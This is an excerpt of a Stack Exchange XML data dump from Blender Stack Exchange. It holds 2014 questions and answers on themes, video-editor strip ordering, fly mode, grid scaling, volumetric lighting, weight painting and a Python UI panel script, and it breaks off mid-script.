  <row Id="13784" PostTypeId="2" ParentId="13783" CreationDate="2014-07-05T18:53:09.263" Score="1" Body="&lt;p&gt;Yes it can.&#xA;Enter the blender user preferences&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt; Add go into the themes tab.&#xA;In side the themes tab you can customize all the colors.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/joIsr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;When You are done, be sure to hit &lt;strong&gt;Save User Settings.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;strong&gt;Down Load Themes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download themes for site such as &lt;a href=&quot;http://www.blendswap.com/category/blender-themes&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendswap&lt;/a&gt;, or by searching on the internet.&#xA;To install a theme, press install theme, and then open your theme, which should be a .xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then save your settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xuDym.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-06T01:36:30.357" LastActivityDate="2014-07-06T01:36:30.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="1" AcceptedAnswerId="44843" CreationDate="2014-07-05T18:54:36.640" Score="3" ViewCount="480" Body="&lt;p&gt;I have a number of clips in the video editor, and I want to rearrange them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to grab and move a clip, so it'll push the other clips behind to make space for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.: I want to rearrange clips ABC to ACB without the need to move B out of the way first, and to put it back in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XAvTH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SU40e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; The &quot;ABC to ACB&quot; change is just an example. I have over 60 clips I need to completely rearrange.&lt;/p&gt;&#xA;" OwnerUserId="5084" LastEditorUserId="9" LastEditDate="2014-07-06T08:32:25.723" LastActivityDate="2016-01-12T13:51:53.710" Title="Is there a way to &quot;push&quot; other clips in the VSE?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13786" PostTypeId="5" CreationDate="2014-07-05T21:04:51.080" Score="0" Body="&lt;p&gt;Non-uniform rational basis spline (NURBS) is a mathematical model commonly used in computer graphics for generating and representing surfaces. It offers great flexibility and precision for handling both analytic (surfaces defined by common mathematical formula) and modeled shapes.&lt;sup&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Non-uniform_rational_B-spline&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Surface object type can me accessed from the add menu &lt;kbd&gt;shift A&lt;/kbd&gt; &amp;gt; &lt;em&gt;Surface&lt;/em&gt;.&lt;br /&gt;&#xA;Documentation for NURBS Surfaces at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/surfaces/index.html#surfaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T23:47:41.283" LastActivityDate="2020-10-20T23:47:41.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13787" PostTypeId="4" CreationDate="2014-07-05T21:04:51.080" Score="0" Body="A NURBS Surface is a mathematical model representing a surface. Use this tag for any questions pertaining to the &quot;Surface&quot; Object type in blender." OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-06T03:10:28.083" LastActivityDate="2014-07-06T03:10:28.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13788" PostTypeId="2" ParentId="13781" CreationDate="2014-07-05T21:11:00.797" Score="5" Body="&lt;p&gt;Make sure the viewport is set to &lt;em&gt;textured&lt;/em&gt; shading in &lt;em&gt;3D view &gt; Header&lt;/em&gt; before starting the game engine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqfak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The viewport shading will affect the shading used in the game engine to some degree. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5crS5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MPrxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8aBua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-05T21:24:28.903" LastActivityDate="2014-07-05T21:24:28.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="2" ParentId="13785" CreationDate="2014-07-05T21:58:03.220" Score="5" Body="&lt;p&gt;For your particular case you can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;larr;&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;larr;&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;rarr;&lt;/kbd&gt; swap the selected strip with the nearest strip in the direction of the pressed arrowkey.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-05T21:58:03.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13790" PostTypeId="1" AcceptedAnswerId="14094" CreationDate="2014-07-06T00:03:07.063" Score="6" ViewCount="2781" Body="&lt;p&gt;I've been researching this for weeks and only found bad results. I think its time for a good answer. I have a rocket launcher, so I can't &quot;fake&quot; the bullet. There is no way to fake a rocket. I need it to shoot from the front of the gun and fly to the center of the screen. Of course I could just make the weapon slanted to the center, but if you look at far targets, it will miss; and if you look at close targets it will also miss. Can I have an empty in the center of the screen that just collides with obstacles, and the gun just adds the projectile to make it always hit center? If that's the case, I would kindly ask for help on how to do that. If there is a better technique, please state it, it would help a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-People said they are confused, let me explain more thoroughly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a line in front of the camera that collides with obstacles(for example, and object with property &quot;obstacle&quot; set to 1), that is stopping at infinity, but there is will obviously always be an obstacle to hit, such as a roof if you look up(indoor). The empty will always track to the very end of the line, so if you aim somewhere close, the rocket will hit center of screen and hit the close object, and if you hit far, on the other hand, the rocket will fly to center of screen and hit the obstacle still. So you will basically always hit the center of the screen no matter what.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="5426" LastEditDate="2015-01-12T00:54:02.850" LastActivityDate="2015-09-30T03:21:31.947" Title="How do I make a weapon shoot at the center of the screen?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13792" PostTypeId="5" CreationDate="2014-07-06T01:33:16.967" Score="0" Body="&lt;p&gt;Documentation on transparency in materials from the blender manual.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/transparent.html?#transparent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparency in cycles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/properties/transparency.html#transparency&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparency in blender&#xA;internal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/freestyle/parameter_editor/line_style/alpha.html?#alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparency in freestyle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T23:50:32.103" LastActivityDate="2020-10-20T23:50:32.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13793" PostTypeId="4" CreationDate="2014-07-06T01:33:16.967" Score="0" Body="Transparency can be anything from an alpha-channel in an image, to shaders in the BGE, to transparency in a material, to the alpha pass in the compositor." OwnerUserId="2217" LastEditorUserId="6204" LastEditDate="2015-11-10T22:39:42.580" LastActivityDate="2015-11-10T22:39:42.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13794" PostTypeId="1" AcceptedAnswerId="13795" CreationDate="2014-07-06T02:58:00.493" Score="3" ViewCount="4755" Body="&lt;p&gt;I used to use the mouse wheel in fly mode to move the view/camera smoothly backward and forward while controlling the speed at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated to Blender 2.70 and it seems that this is not working anymore.&lt;br&gt;&#xA;Can I still use this navigation method in 2.70? How?&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastEditorUserId="599" LastEditDate="2014-07-06T10:04:42.387" LastActivityDate="2017-01-06T02:53:52.690" Title="Can I still use fly mode in 2.7?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="2" ParentId="13794" CreationDate="2014-07-06T02:58:00.493" Score="2" Body="&lt;p&gt;Yes, you can still use mouse wheel in fly mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that since 2.70, &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.70/Game_Development#View_Navigation&quot; rel=&quot;nofollow&quot;&gt;there is a new 'walk mode'&lt;/a&gt; which is the new default.&#xA;To restore fly mode, go to &lt;em&gt;user preferences &gt; input&lt;/em&gt;. Towards bottom left under View Navigation, choose Fly instead of Walk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: In walk mode mouse wheel silently adjusts speed of walking.&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastEditorUserId="599" LastEditDate="2014-07-06T06:59:55.173" LastActivityDate="2014-07-06T06:59:55.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="2" ParentId="13794" CreationDate="2014-07-06T06:56:33.157" Score="5" Body="&lt;p&gt;If you want to use both fly and walk mode without toggling settings in your preferences constantly, it's still accessible in &lt;em&gt;3D view &gt; Header &gt; View &gt; Navigation &gt; Fly mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/upvZ0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that's kind of a pain to get to if you use it a lot, you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the search menu (&lt;kbd&gt;Space&lt;/kbd&gt; &gt; &lt;code&gt;fly&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a custom shortcut by right clicking on the option in the menu and selecting &lt;em&gt;Add Shortcut&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you can have both fly and walk mode within easy access.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-06T06:56:33.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13800" PostTypeId="1" AcceptedAnswerId="13815" CreationDate="2014-07-06T13:04:10.833" Score="15" ViewCount="3886" Body="&lt;p&gt;Is there a way, after a library is linked to move that library to another location? I have a library that is in a different folder than my scene file and for the sake of more easily sending it to a renderfarm I want to move it all into one folder. Is there a way to edit link paths?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2015-02-16T16:06:37.520" Title="Moving a Linked Library" Tags="&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13801" PostTypeId="1" AcceptedAnswerId="18330" CreationDate="2014-07-06T13:56:58.970" Score="5" ViewCount="1407" Body="&lt;p&gt;I am experiencing extreme lag when resizing (zooming in) the cycles node editor. I don't experience lag anywhere else in the blender UI. My specs: quad-core, 2.40 GHz 64-bit. No GPU.&#xA;Does anyone have any solutions for this problem?&lt;/p&gt;&#xA;" OwnerUserId="5094" LastEditorUserId="2217" LastEditDate="2014-07-06T18:38:59.500" LastActivityDate="2014-10-29T14:14:44.960" Title="Extreme lag in cycles node editor" Tags="&lt;interface&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13802" PostTypeId="1" AcceptedAnswerId="13814" CreationDate="2014-07-06T15:18:20.340" Score="19" ViewCount="12507" Body="&lt;p&gt;I have to have a spot lamp strength VERY VERY high to have these light rays come through 300000.0 and look good.  Sounds crazy doesn't it.  Maybe it doesn't matter but it doesn't feel right.  Will I start to have problems if add other elements?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lamp Size: &lt;strong&gt;.2&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Lamp Strength: &lt;strong&gt;300000.0&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;World Volume: Volume Scatter World Volume Density: &lt;strong&gt;.05&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;World Volume: Homogeneous: &lt;strong&gt;True&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Render Sampling Settings Clamp Indirect: &lt;strong&gt;3.0&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;Rendering No Caustics: &lt;strong&gt;True&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gonYK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1342" LastEditorDisplayName="user1853" LastEditDate="2017-01-27T15:54:24.173" LastActivityDate="2020-10-21T14:36:43.210" Title="Using volumetrics in Cycles I have to have the light strength super high" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="13803" PostTypeId="1" AcceptedAnswerId="13804" CreationDate="2014-07-06T06:28:16.863" Score="4" ViewCount="10619" Body="&lt;p&gt;When starting the blender, there is always a cube on the floor. The floor is actually a grid. My question is how to make this grid bigger so that we can measure big stuff? &lt;/p&gt;&#xA;" OwnerDisplayName="user3535716" LastEditorUserId="599" LastEditDate="2014-07-06T19:05:21.173" LastActivityDate="2020-01-12T02:24:15.407" Title="How to make the measuring grid larger?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;units&gt;&lt;dimensions&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="13803" CreationDate="2014-07-06T07:40:40.373" Score="1" Body="&lt;p&gt;I assume you are talking about this grid in perspective view...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AmYzO.png&quot; alt=&quot;That grid on the floor.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your goal is to measure things relative to a grid, you can use orthographic view to do that, which makes it easier to construct geometry. Here's how it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuzcT.png&quot; alt=&quot;Top ortho.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same cube in orthographic projection viewed from above. It is easy to get there. Assuming you are still using the default key mapping (you havn't changed the keyboard settings) you can get to orthographic by pressing &lt;strong&gt;5 on the numpad&lt;/strong&gt; and then pressing &lt;strong&gt;7 on the numpad&lt;/strong&gt; for top view, and &lt;strong&gt;3 or 1 on numpad&lt;/strong&gt; for other directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you insert a plane, which is 2x2 initially, as you can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AhWDs.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I scale it to 50x50...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EW318.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That just go big. Now I get to orthographic view with &lt;strong&gt;numpad 5&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1TTN.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now I switch to top view...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2365.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see now, the grid is now spread in all directions infinitely. You can zoom out to see that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same 50x50 plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RedXF.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might complain about is that you can't see the grid &lt;em&gt;inside&lt;/em&gt; the plane? Well, for that just switch to wireframe (*by pressing &lt;strong&gt;z&lt;/strong&gt;). Here's how that looks like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1KpZ.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's one way of getting what you want.&lt;/p&gt;&#xA;" OwnerUserId="5093" OwnerDisplayName="The Light Spark" LastEditorUserId="1224" LastEditDate="2017-09-07T00:55:11.720" LastActivityDate="2017-09-07T00:55:11.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13805" PostTypeId="1" CreationDate="2014-07-06T16:42:49.130" Score="1" ViewCount="336" Body="&lt;p&gt;Is there an option to show a dialog which displays the properties of a modal operator ?&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-06T16:42:49.130" Title="Show a dialog displaying the properties of a modal operator" Tags="&lt;python&gt;&lt;interface&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="2" ParentId="13803" CreationDate="2014-07-06T16:48:42.737" Score="17" Body="&lt;p&gt;You can change the size of the grid to accommodate your needs, or you can change the scale of the whole scene.&lt;/p&gt;&#xA;&lt;h1&gt;To change the scale of the grid in the 3D view.&lt;/h1&gt;&#xA;&lt;p&gt;For 2.8X Open the overlay controls.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fMw7H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMw7H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And change the scale and number of subdivisions.&lt;/p&gt;&#xA;&lt;p&gt;For 2.7X&#xA;Press &lt;kbd&gt;N&lt;/kbd&gt; to reveal the properties shelf.&lt;/p&gt;&#xA;&lt;p&gt;On the &lt;strong&gt;Display&lt;/strong&gt; section you can change the grid floor number of lines and scale.&#xA;The left side of the screen will show info on the scale of the units used.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/3DView/Sidebars/Properties/Display&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Lines&lt;/strong&gt; defines the number of lines that will make the &amp;quot;floor grid&amp;quot; up. If N is the number defined, there will be a total amount of N/2 lines at each side of X and Y axes. For odd values of N, the amount of lines will be rounded down.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Scale&lt;/strong&gt; defines the distance between grid lines, either in the &amp;quot;floor grid&amp;quot; and the infinite grid.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Subdivisions&lt;/strong&gt; defines the amount of lines into which the infinite grid should be subdivided. Level of subdivision depends on zoom, in predefined orthographic views.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mItlW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;To change the scale used for the scene:&lt;/h1&gt;&#xA;&lt;p&gt;Other way to deal with large (or very small) objects is changing the scale on Properties-&amp;gt;Scene-&amp;gt;Units-&amp;gt;Scale&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5sKyx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5sKyx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpLzL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that changing the scale for the scene in the Units Section will affect the size of the grid, but changing the size of the grid in the 3d viewport will not change the scene's scale.&lt;/p&gt;&#xA;&lt;p&gt;Besides the floor grid, Blender has some built in measuring tools that you might find useful.&lt;/p&gt;&#xA;&lt;p&gt;For 2.8, in &lt;strong&gt;Edit mode&lt;/strong&gt; (&lt;kbd&gt;Tab&lt;/Kbd&gt;), open the &lt;strong&gt;Overlays&lt;/strong&gt; section and you can choose to enable the boxes for Edge Length, Edge Angle, Face Area or Face Angle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aDqph.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aDqph.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For 2.7X, in &lt;strong&gt;Edit mode&lt;/strong&gt; (&lt;kbd&gt;Tab&lt;/Kbd&gt;), enable the numeric panel (Kbd&amp;gt;N) and look for the &lt;strong&gt;Mesh Display&lt;/strong&gt; section, to enable display of edge and face info of an object.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yYt7t.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NFW16.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2qYI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When dealing with very large or very small objects they might seem to disappear from view due to the clip distance on the viewport. If that happens you might need to change the start and end clip values.&lt;/p&gt;&#xA;&lt;p&gt;See this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/8553/why-does-part-of-my-model-disappear-when-i-zoom-in-on-it-in-the-3d-viewport/8554#8554&quot;&gt;Why does part of my model disappear when I zoom in on it in the 3D Viewport?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-01-12T02:24:15.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13807" PostTypeId="1" AcceptedAnswerId="13812" CreationDate="2014-07-06T18:00:28.483" Score="3" ViewCount="5066" Body="&lt;p&gt;I have been working on a building lately and I recently discovered the environment lighting which is awesome because it's useful when working on a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, recently reloading the .blend file, everything gets rendered black. I never used a light source in the first place, so I don't know what's going on. I thought I might have touched some setting without noticing it, but everything seems in order. Also changing the settings doesn't yield any visible different result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender Render (2.71 rc2), Ambient Occlusion of 0.30, and Environment Lighting of 1 (white). This is the difference between what it used to be and what it renders now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F6g69.png&quot; alt=&quot;Environment lighting example picture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-07-06T21:06:25.750" Title="Blender Render suddenly makes everything black" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13809" PostTypeId="1" CreationDate="2014-07-06T19:58:12.953" Score="0" ViewCount="167" Body="&lt;p&gt;Once again, I'm running into problems following basic tutorials.  I tried to animate my model that I rigged with rigify, and when I move one foot, part of the other foot comes with it in some strange ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/CnxVcL9&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/CnxVcL9.png&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to fix this?  My Blender project can be found &lt;a href=&quot;http://www.pasteall.org/blend/30254&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4776" LastActivityDate="2016-07-03T22:48:42.683" Title="Animating my character's leg brings part of the other foot with it" Tags="&lt;animation&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="2" ParentId="13809" CreationDate="2014-07-06T20:10:16.387" Score="1" Body="&lt;p&gt;The problem is caused by the fact that your foot is not correctly &lt;strong&gt;weight painted&lt;/strong&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PU293.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red bits will follow the bone, and the blue bits won't. to fix your problem, it should look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wG7BG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To perform the fix, select the foots vertex group, enter wait paint mode, then paint the parts of the foot you want to follow the bone red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3xV0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-06T20:10:16.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="1" CreationDate="2014-07-06T20:29:43.860" Score="2" ViewCount="385" Body="&lt;p&gt;I've created a python script that creates a specific folder structure for my projects, and also saves the first instance of my project. I want this script to be run by clicking on a custom button in the render panel. Since this is to be done at the start of new projects I want this button to be part of the default startup in Blender. However, I can't find the information to do these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code, saved in a file called &quot;EinarOptions.py&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class EinarOptions(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the render context of the properties editor&quot;&quot;&quot;&#xA;    bl_label = &quot;Einar options&quot;&#xA;    bl_idname = &quot;RENDER_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;render&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        # Different sizes in a row&#xA;        layout.label(text=&quot;Different button sizes:&quot;)&#xA;        row = layout.row()&#xA;        row.operator(&quot;render.render&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(EinarOptions)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(EinarOptions)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    